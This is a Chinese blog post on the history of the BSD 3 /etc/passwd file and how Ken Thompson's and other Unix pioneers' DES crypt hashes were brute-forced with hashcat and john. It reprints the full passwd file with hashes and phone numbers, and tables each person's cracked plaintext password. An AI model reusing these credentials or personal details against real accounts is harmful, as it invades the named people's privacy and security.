<a href=\"https://en.wikipedia.org/wiki/Dennis_Ritchie\" rel=\"noopener noreferrer\" target=\"_blank\">Dennis Ritchie</a> 这两位 Unix 的缔造者，也是计算机圈中的神一般的人物。今天，Dennis已经去逝，Ken在Google里跟 Rob Pike和 Robert Griesemer 这两位大神在开发Go语言。</p>\n<p>P.S. 今年，我一直想写篇Unix 50周年纪念的文章，但一直无从下手，因为不想写过大的命题，如果能写个轶事最好不过。正好过完国庆节，技术圈里有个“热搜”——Ken Thompson的密码。但一直没有时间，所以拖到今天才写下来。</p>\n<p>正文开始，2014年，有个叫Leah Neukirchen的程序员（<a href=\"https://leahneukirchen.org/blog/\" rel=\"noopener noreferrer\" target=\"_blank\">blog</a>）在 BSD 3 的源代码中的 <code><a href=\"https://leahneukirchen.org/blog/archive/2019/10/ken-thompson-s-unix-password.html\" rel=\"noopener noreferrer\" target=\"_blank\">/etc/passwd</a></code> 看到了早年Unix黑客们的被 hash了的密码，该文件如下所示：</p>\n<p><span id=\"more-19996\"></span></p>\n<pre>root:OVCPatZ8RFmFY:0:10:Ernie Co-vax,4156427925:/:\ndaemon:*:1:1:The devil himself:/:\nbill:.2xvLVqGHJm8M:8:10:&amp; Joy,4156424948:/usr/bill:/bin/csh\nozalp:m5syt3.lB5LAE:40:10:&amp; Babaoglu,4156423806:/usr/ozalp:/bin/csh\nsklower:8PYh/dUBQT9Ss:2:10:Keith &amp;,4156424972:/usr/staff/sklower:/bin/csh\nkridle:4BkcEieEtjWXI:3:10:Bob &amp;,4156426744:/usr/staff/kridle:/bin/csh\nkurt:olqH1vDqH38aw:4:10:&amp; Shoens,4156420572:/usr/staff/kurt:/bin/csh\nschmidt:FH83PFo4z55cU:7:10:Eric &amp;,4156424951:/usr/staff/schmidt:/bin/csh\nhpk:9ycwM8mmmcp4Q:9:10:Howard Katseff,2019495337:/usr/staff/hpk:/bin/csh\ntbl:cBWEbG59spEmM:10:10:Tom London,2019492006:/usr/staff/tbl:\njfr:X.ZNnZrciWauE:11:10:John Reiser:/usr/staff/jfr:\nmark:Pb1AmSpsVPG0Y:12:10:&amp; Horton,4156428311:/usr/staff/mark:/bin/csh\ndmr:gfVwhuAMF0Trw:42:10:Dennis Ritchie:/usr/staff/dmr:\nken:ZghOT0eRm4U9s:52:10:&amp; Thompson:/usr/staff/ken:\nsif:IIVxQSvq1V9R2:53:10:Stuart Feldman:/usr/staff/sif:\nscj:IL2bmGECQJgbk:60:10:Steve Johnson:/usr/staff/scj:\npjw:N33.MCNcTh5Qw:61:10:Peter J. Weinberger,2015827214:/usr/staff/pjw:/bin/csh\nbwk:ymVglQZjbWYDE:62:10:Brian W. Kernighan,2015826021:/usr/staff/bwk:\nuucp:P0CHBwE/mB51k:66:10:UNIX-to-UNIX Copy:/usr/spool/uucp:/usr/lib/uucp/uucico\nsrb:c8UdIntIZCUIA:68:10:Steve Bourne,2015825829:/usr/staff/srb:\nfinger::199:199:The &amp; Program:/usr/ucb:/usr/ucb/finger\nwho::199:199:The &amp; Program:/usr/ucb:/bin/who\nw::199:199:The &amp; Program:/usr/ucb:/usr/ucb/w\nmckusick:AAZk9Aj5/Ue0E:201:10:Kirk &amp;,4156424948:/usr/staff/mckusick:/bin/csh\npeter:Nc3IkFJyW2u7E:202:10:&amp; Kessler,4156424948:/usr/staff/peter:/bin/csh\nhenry:lj1vXnxTAPnDc:203:10:Robert &amp;,4156424948:/usr/staff/henry:/bin/csh\njkf:9ULn5cWTc0b9E:209:10:John Foderaro,4156424972:/usr/staff/jkf:/bin/csh\nfateman:E9i8fWghn1p/I:300:10:Richard &amp;,4156421879:/usr/staff/fateman:/bin/csh\nfabry:d9B17PTU2RTlM:305:10:Bob &amp;,4156422714:/usr/staff/fabry:/bin/csh\nnetwork:9EZLtSYjeEABE:501:50:*:/usr/net/network:/usr/net/network/nsh\ntty::504:50::/:/bin/tty我</pre>\n<p>（注，以前Unix是一个服务器，所有人都用一个终端到服务器上进行操作，于是，这个服务上的 <code>/etc/passwd</code> 下保存着所有的人的登录密码，能让所有的人都能读到，为了不让别人猜到，这个文件中的密码保存（第二列）被做过哈希处理）</p>\n<p>这位程序员一看，这些个用户不就是<a href=\"https://en.wikipedia.org/wiki/Dennis_Ritchie\" rel=\"noopener noreferrer\" target=\"_blank\">Dennis Ritchie</a>, <a href=\"https://en.wikipedia.org/wiki/Ken_Thompson\">Ken Thompson</a>, <a href=\"https://en.wikipedia.org/wiki/Brian_Kernighan\" rel=\"noopener noreferrer\" target=\"_blank\">Brian W. Kernighan</a>, <a href=\"https://en.wikipedia.org/wiki/Stephen_R._Bourne\" rel=\"noopener noreferrer\" target=\"_blank\">Steve Bourne</a>, <a href=\"https://en.wikipedia.org/wiki/Bill_Joy\" rel=\"noopener noreferrer\" target=\"_blank\">Bill Joy</a> 这些神人的密码吗？！于是，他想看看这些人用什么样的密码。考虑到当时的加密算法用的是基于DES的 <a href=\"https://minnie.tuhs.org/cgi-bin/utree.pl?file=V7/usr/man/man3/crypt.3\">crypt(3)</a> 算法（这个算法今天还在用，像Perl/PHP/Python/Ruby都提供<code>crypt()</code> 函数），而且当时的密码最长只支持8个长度，所以，感觉还是很容易暴力破解的。</p>\n<p>一般来说，暴力破解的这种hash密码的工具主要是用<a href=\"https://hashcat.net/\" rel=\"noopener noreferrer\" target=\"_blank\">hashcat</a> 或 <a href=\"https://www.openwall.com/john/\" rel=\"noopener noreferrer\" target=\"_blank\">john</a> ，很快，Leah 破解了大多数人的密码，因为大多数都使用的是比较弱的密码，比如： <a href=\"https://en.wikipedia.org/wiki/Brian_Kernighan\" rel=\"noopener noreferrer\" target=\"_blank\">Brian W. Kernighan</a> （<code>bwk</code>）使用了 <code>/.,/.,</code> 这样的密码，而 <a href=\"https://en.wikipedia.org/wiki/Dennis_Ritchie\" rel=\"noopener noreferrer\" target=\"_blank\">Dennis Ritchie</a> （<code>dmr</code>）则使用了 <code>dmac</code> 这样的密码。然后，在破解到 Ken Thompson的密码时，搞不定了，花了好几天穷举完了所有的小写字母+数字都没有找到。</p>\n<p>因为这个<code>crypt</code>的算法也是Ken Thompson 和 Robert Morris 写的，他们在40年前就发现，原来的hash算法太快了，这样很容易被暴力穷举，于是在第七版的Unix（1979年发布），他们把算法改成DES的算法，就是要让这个算法变慢。详细地说，用户密码被截断为八个字符，每个字符仅被压缩为7位。这形成56位DES密钥。然后，该密钥用于加密全零位块，然后再次使用相同的密钥对密文进行加密，依此类推，总共进行了25次DES加密。感觉跟区块链的“挖矿”有点像。<strong>在最早的Unix计算机上，这个算法需要花了整整一秒钟的时间来计算密码哈希</strong>。</p>\n<p>这几十年来，计算机的计算速度根据摩尔定律至少double了20次，所以，DES算法已经很容被攻击了，然而，对于Ken Thompson的密码，在2014年还是很不容易被破解的，因为，<strong>如果要加上所有的大小写字符数字和其它特殊字符，那么，在2014年，就算用最快的GPU来穷举所有的8位长度的密码，也需要花上至少2年以上的时间</strong>。</p>\n<p>在2019年10月份，在 <a href=\"https://www.tuhs.org/\">The Unix Heritage Society</a> 这个社区中，<a href=\"https://inbox.vuxu.org/tuhs/6dceffe228804a76de1e12f18d1fc0dc@inventati.org/\" rel=\"noopener noreferrer\" target=\"_blank\">这个事又被人问起来</a>，说以前有个人破解这些密码，不知道有没有全破解出来了？于是Leah看到了，就回应说，那个人是我，但是还是没干出来……于是好些人进来留言。</p>\n<p>5天后，2019年10月08日，一个来自澳大利亚的程序员Nigel Williams说，<a href=\"https://inbox.vuxu.org/tuhs/CACCFpdx_6oeyNkgH_5jgfxbxWbZ6VtOXQNKOsonHPF2=747ZOw@mail.gmail.com/\" rel=\"noopener noreferrer\" target=\"_blank\">Ken的密码我破解出来了</a>，哈希串<code>ZghOT0eRm4U9s</code> 明文是 <code>p/q2-q4!</code>（果然是有数字有特殊字符），小伙说，我在 AMD Radeon Vega 64 的 GPU上运行了 <code>hashcat</code> 这个命令，干了我 4天多，每秒钟的“配速”是930MH/s （每秒钟9亿3千万次hash运算）。然后，<a href=\"https://inbox.vuxu.org/tuhs/CAG=a+rj8VcXjS-ftaj8P2_duLFSUpmNgB4-dYwnTsY_8g5WdEA@mail.gmail.com/\" rel=\"noopener noreferrer\" target=\"_blank\">Ken Thompson 也留言到 “恭喜”</a> ，这样，Ken 的密码在40年后被破解了……</p>\n<p>马上，就有人问到，这个密码是不是国际象棋的走棋？嗯，很像中国象棋中的“车五进一”，“马三退一”，这个密码中的 <code>p</code> 代表 <code>pawn</code> 小兵，从 <code>q2</code> 的位置走到 <code>q4</code>，这个看来是国际象棋中的开局进兵——用来做登录密码，非常合适。而且，Ken Thompson 在 Unix中写下的一个国际象棋的程序 <a href=\"https://en.wikipedia.org/wiki/Belle_(chess_machine)\" rel=\"noopener noreferrer\" target=\"_blank\">Belle</a>，在1978年首次参加<a href=\"https://en.wikipedia.org/wiki/North_American_Computer_Chess_Championship\">计算机协会的北美计算机国际象棋锦标赛</a>时，它获得了第一个冠军头衔，其搜索深度为八层。之后又赢得了四次冠军。1983年，它也成为第一台获得国际象棋“大师”称号的计算机。所以，Ken用这个做密码相当make sense!</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full\" height=\"800\" src=\"../wp-content/uploads/2019/11/ken.chess_.jpg\" width=\"600\"/>Ken在贝尔实验室调程序（图片来源：<a href=\"https://spectrum.ieee.org/tech-history/silicon-revolution/in-1983-this-bell-labs-computer-was-the-first-machine-to-become-a-chess-master\" rel=\"noopener noreferrer\" target=\"_blank\">IEEE SPECTRUM</a>）</p>\n<p>当然，还有一个人的密码是所有人里最难破解的，这个人就是<a href=\"https://en.wikipedia.org/wiki/Bill_Joy\" rel=\"noopener noreferrer\" target=\"_blank\">Bill Joy</a>，他最初作为加州大学伯克利分校的研究生，在校期间着手改进Unix 内核，并管理BSD发行版。他最著名的贡献是ex和vi编辑器以及C shell。在Sun公司成立6个月后，他正式成为公司的联合创始人，他在Sun公司的推动了NFS，SPARC处理器，以及Java语言。他还是一个风险投资人员。</p>\n<p>在Ken的密被破解后两周（2019年10月19日），有人号称已经破解了Bill的密码，他在<a href=\"https://minnie.tuhs.org/pipermail/tuhs/2019-October/019124.html\" rel=\"noopener noreferrer\" target=\"_blank\">邮件组中这样写到</a>：</p>\n<blockquote><p>一开始，我使用了大小写字符和数字，8位长度来破解所有的组合，花了我6天的时间，失败了。然后，我开始尝试只用小写字母和控制字符，结果在40分钟内就破解了。但是因为Bill现健在，所以，只要bill同意他才公布这个密码。</p></blockquote>\n<p>在密码里存控制字符？这脑洞，Ctrl+C么？破解者还说，他在一个有三个结点的DELL 的HPC集群上完成这个工作，每个结点包括两个 Tesla V100 nVidia GPU 的显卡，一共30720个CUDA核…… 关于这个显卡多少钱，你可以上网搜吧…… 相当于一块劳力士吧……（我估计这组机器平时是用来挖矿的……[狗头]）</p>\n<p>好了，我们来看一下这个 <code>/etc/passwd</code> 中的这些人的密码是什么样的，<strong>但最主要的是向这些为人类做过巨大贡献的程序员科学家们致敬</strong>！</p>\n<ul>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Ken_Thompson\" rel=\"noopener noreferrer\" target=\"_blank\">Ken Thompson</a></strong><br/>\n除了是Unix、B语言和Go语言作者之外，他还贡献过正则表达式，QED/ed编辑器，UTF-8编码定义，以及计算机国际象棋Belle……\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>ken</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>ZghOT0eRm4U9s</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>p/q2-q4!</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Dennis_Ritchie\" rel=\"noopener noreferrer\" target=\"_blank\">Dennis Ritchie</a></strong><br/>\nUnix和C语言之父，与Ken于1983年获图灵奖，1990年美国国家海明奖章，于2011年去世。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>dmr</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>gfVwhuAMF0Trw</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>dmac</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Brian_Kernighan\" rel=\"noopener noreferrer\" target=\"_blank\">Brian W. Kernighan</a></strong><br/>\nAWK的作者，是AWK中的“K”，也是与Dennis写的K&amp;C的C语言编程书中的“K”，他还编写了很多Unix的其它程序，如：<code>ditroff</code>，而且，设计了著名的<a href=\"https://en.wikipedia.org/wiki/Heuristic\" rel=\"noopener noreferrer\" target=\"_blank\">启发式算法</a>。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>bwk</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>ymVglQZjbWYDE</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>/.,/.,</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Stephen_R._Bourne\" rel=\"noopener noreferrer\" target=\"_blank\">Stephen R. Bourne</a></strong><br/>\nBourne shell（<code>sh</code>）的作者，Unix Shell作者，同时也是Unix调试器的作者。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>srb</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>c8UdIntIZCUIA</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>bourne</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Eric_Schmidt\" rel=\"noopener noreferrer\" target=\"_blank\">Eric Schmidt</a></strong><br/>\n你可能知道他是Google的CEO，苹果的董事，但是你可能不知道，他当年是是贝尔实施室的实习生，他对Unix的词法分析器 Lex 进行为了完全的重写。他的密码是中的wendy应该是他的妻子。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>schmidt</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>FH83PFo4z55cU</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>wendy!!!</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Stuart_Feldman\" rel=\"noopener noreferrer\" target=\"_blank\">Stuart Feldman</a></strong><br/>\n他除了是Unix系统小组的成员，他还是第一个Fortran 77 编译器的作者，也是 <code>make</code> 的作者。他还是楼上Shmidt慈善基金会的科学负责人，在Google/IBM Research任过职，也担任过ACM的主席。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>sif</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>IIVxQSvq1V9R2</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>axolotl</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Mary_Ann_Horton\" rel=\"noopener noreferrer\" target=\"_blank\">Mark Horton</a></strong><br/>\nUnix贡献者，包括vi和curses，后来变性为女性，新的名字叫Mary Ann Horton。原来的照片在<a href=\"http://www.ugu.com/sui/ugu/show?I=info.Mark_R._Horton\" rel=\"noopener noreferrer\" target=\"_blank\">Unix Guru Universe</a>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>mark</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>Pb1AmSpsVPG0Y</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>uio</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Marshall_Kirk_McKusick\" rel=\"noopener noreferrer\" target=\"_blank\">Kirk McKusick</a></strong><br/>\nBSD贡献者，主要负责文件系统UFS以及fsck命令，同时也是<code>gprof</code>的贡献者，公开的同性恋者。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>mckusick</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>AAZk9Aj5/Ue0E</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>foobar</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Richard_Fateman\" rel=\"noopener noreferrer\" target=\"_blank\">Richard Fateman</a></strong><br/>\n他在伯克利的VAX UNIX系统的开发工作中发挥了重要作用，以及开发了<a href=\"https://en.wikipedia.org/wiki/Franz_Lisp\" rel=\"noopener noreferrer\" target=\"_blank\"> Franz Lisp</a>。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>fateman</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>E9i8fWghn1p/I</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>apr1744</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>Peter Kessler</strong><br/>\n这位老兄能在网上查到的资料基本没有，可以查到他是 <code>gprof</code> 的贡献者，以及有名字的<a href=\"https://web.eecs.umich.edu/~weimerw/2009-4610/reading/graham-gprof.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">gprof的一篇论文</a>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>peter</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>Nc3IkFJyW2u7E</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>...hello</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>Kurt Shoens</strong><br/>\nBSD电子邮件开发者。Unix早期版本中使用 <code>uux</code> 和 <code>sendmail</code> 来进行远程消息传递，1978年，Kurt为Unix编写了一个邮件用户代理 Berkeley Mail。相关的历史可以参看<a href=\"http://heirloom.sourceforge.net/mailx_history.html\" rel=\"noopener noreferrer\" target=\"_blank\">这篇文章</a>。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>kurt</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>olqH1vDqH38aw</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>sacristy</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://franz.com/about/press_room/foderaro_2-2-2015.lhtml\" rel=\"noopener noreferrer\" target=\"_blank\">John Foderaro</a></strong><br/>\n他为Berkeley的Lisp语言编写原始的编译器，Lisp语言是一种类似于数据代数的语言，在计算机历史上有和C语言一样的作用。后来他成立了Franz公司，主要开发和部署图形搜索解决方案。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>jkf</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>9ULn5cWTc0b9E</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>sherril.</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Peter_J._Weinberger\" rel=\"noopener noreferrer\" target=\"_blank\">Peter J. Weinberger</a></strong><br/>\n他就是AWK中的那个“W”，同时也是Fortan编译器f77的贡献者，后来是<a href=\"https://en.wikipedia.org/wiki/Renaissance_Technologies\" title=\"\">Renaissance Technologies</a> （一家对冲基金）的CTO，现在在Google工作，\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>pjw</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>N33.MCNcTh5Qw</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>uucpuucp</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>John Reiser</strong><br/>\n他主要工作是将Unix和C移植到了DEC VAX上，这个机器在学术界相当流行（陈皓注：我在1994年上大学的时候，就是在这个机器上学习的C语言）。这扩大了Unix和C的影响力。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>jfr</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>X.ZNnZrciWauE</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>5%ghj</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Stephen_C._Johnson\" rel=\"noopener noreferrer\" target=\"_blank\">Steve Johnson</a></strong><br/>\n曾在贝尔实验室和AT＆T工作近20年。他以Yacc，Lint，spell和Portable C编译器而闻名。后来他去了硅谷，加入了一些创业公司，主要从事编译器的工作，以及2D和3D图形，大规模并行系统和嵌入式系统的开发工作。现在他在Wave Computing从事机器学习的工作。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>scj</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>IL2bmGECQJgbk</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>pdq;dq</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>Bob Kridle</strong><br/>\n这位老兄的资料在没有太多，只能在 <a href=\"https://www.oreilly.com/openbook/opensources/book/kirkmck.html_original\" rel=\"noopener noreferrer\" target=\"_blank\">Berkeley Unix 20 年</a> 上看到他跟Ken Thompson混过一段时间。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>kridle</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>4BkcEieEtjWXI</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>jilland1</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://people.eecs.berkeley.edu/~sklower/\" rel=\"noopener noreferrer\" target=\"_blank\">Keith Sklower</a></strong><br/>\nBSD 的一个程序员。从他的主页上可以看到他目前在Berkeley大学，信息分析师，主要研究一些网络通信相关的技术。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>sklower</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>8PYh/dUBQT9Ss</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>theik!!!</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>Robert Henry</strong><br/>\n网上的资料不多，只在<a href=\"https://www.tuhs.org/Archive/Documentation/Books/Life_with_Unix.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">Life with Unix</a>这本电子书中查到，他写了 <code>error</code>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>henry</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>lj1vXnxTAPnDc</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>sn74193n</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>Howard Katseff</strong><br/>\n网上的资料不多，只在<a href=\"https://www.tuhs.org/Archive/Documentation/Books/Life_with_Unix.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">Life with Unix</a>这本电子书中查到，他写了 <code>sdb</code> 和 <code>last</code>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>hpk</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>9ycwM8mmmcp4Q</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>graduat;</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/%C3%96zalp_Babao%C4%9Flu\" rel=\"noopener noreferrer\" target=\"_blank\">Özalp Babaoğlu</a></strong><br/>\n土耳其计算机科学家，1981年在Berkeley担任 BSD Unix的首席设计师，曾经与Sun的创造人Bill Joy在BSD上实现了虚拟内存。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>ozalp</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>m5syt3.lB5LAE</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>12ucdort</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong><a href=\"https://en.wikipedia.org/wiki/Bob_Fabry\" rel=\"noopener noreferrer\" target=\"_blank\">Bob Fabry</a></strong><br/>\n他主要推动美国国防部高级研究计划局DARPA采用了Unix系统\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>fabry</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>d9B17PTU2RTlM</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>561cml..</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n<li><strong>Tom London</strong><br/>\n他和John Reiser在把Unix移植到了VAX-11机上。\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>tbl</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>cBWEbG59spEmM</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>..pnn521</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n</ul>\n<p>最后，再首尾呼应一下，在我的技术生涯中，Unix文化对我个人的技术观影响是非常大的，<strong>我个人认为 Unix 就像摇滚乐一样，上世纪60年代-80年代，是整个人类最经典最光亮的时代，值得我们每个人向那个时代的人和事致敬！</strong></p>\n<p>————————————————————————</p>\n<p>P.S.</p>\n<p>你可以浏览 Github 的 <a href=\"https://github.com/dspinellis/unix-history-repo/tree/BSD-3-Snapshot-Development\" 